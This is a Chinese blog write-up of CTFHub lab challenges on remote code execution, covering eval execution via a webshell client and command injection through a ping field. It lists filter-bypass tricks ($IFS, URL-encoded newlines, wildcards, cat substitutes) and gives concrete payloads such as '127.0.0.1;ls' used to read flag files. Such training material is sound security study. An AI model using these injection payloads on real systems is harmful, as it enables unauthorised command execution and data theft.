ctfhub技能树web:RCE里的eval执行和命令注入

RCE:远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval。

常见可代替命令:more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

ls:查看目录

dir:查看目录

CTF中常用的绕过过滤空格的方法有:$IFS

$IFS$1

${IFS}

$IFS$9

<比如cat<a.tct:表示cat a.txt

<>{cat,flag.php}  //用逗号实现了空

格功能,需要用{}括起来

%20

%09

eval执行

检查网页显示内容可以发现题目中直接给出了一段源代码,代码的大致意思是判断用户是否传了一个 cmd 参数,否则执行 else 。

使用蚁剑连接 cmd 参数试试,测试连接发现可以成功连接,说明此题存在 eval 执行

检查目录列表发现关于flag的文件,检查内容发现flag

命令注入——无过滤

首先执行ping命令,ping本机ip:127.0.0.1,再加上ls这个系统命令,连起来就是127.0.0.1;ls接着查看里面的文件,构造命令127.0.0.1;cat+文件名

查看网页源代码得到flag

过滤cat

执行命令127.0.0.1;ls,发现几个PHP文件

因为cat会被过滤,使用more命令去代替它,127.0.0.1; more flag_75551886717304.php,查看源代码得到flag

过滤空格

执行命令 127.0.0.1;ls,查看可以访问的文件,发现一个flag_681639692898.php

使用cat命令去查看这个文件中有什么,并且此时要绕过对空格的过滤,执行命令:127.0.0.1; cat${IFS}flag_681639692898.php,并查看源代码,得到flag

过滤目录分隔符

用cd 命令查看这个文件夹127.0.0.1;cd flag_is_here;ls

然后cat flag_18515776511094.php执行命令127.0.0.1;cd flag_is_here;catflag,查看源代码,得到flag

过滤运算符

用;ls查看目录

用cat命令查找flag

查看源代码得到flag

综合练习

在URL地址栏输入命令?ip=%0als

列举文件夹下的文件,输入命令

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0als#

查找flag,输入命令

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}fl$*ag_29101388310349.php#

查看源代码得到flag

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值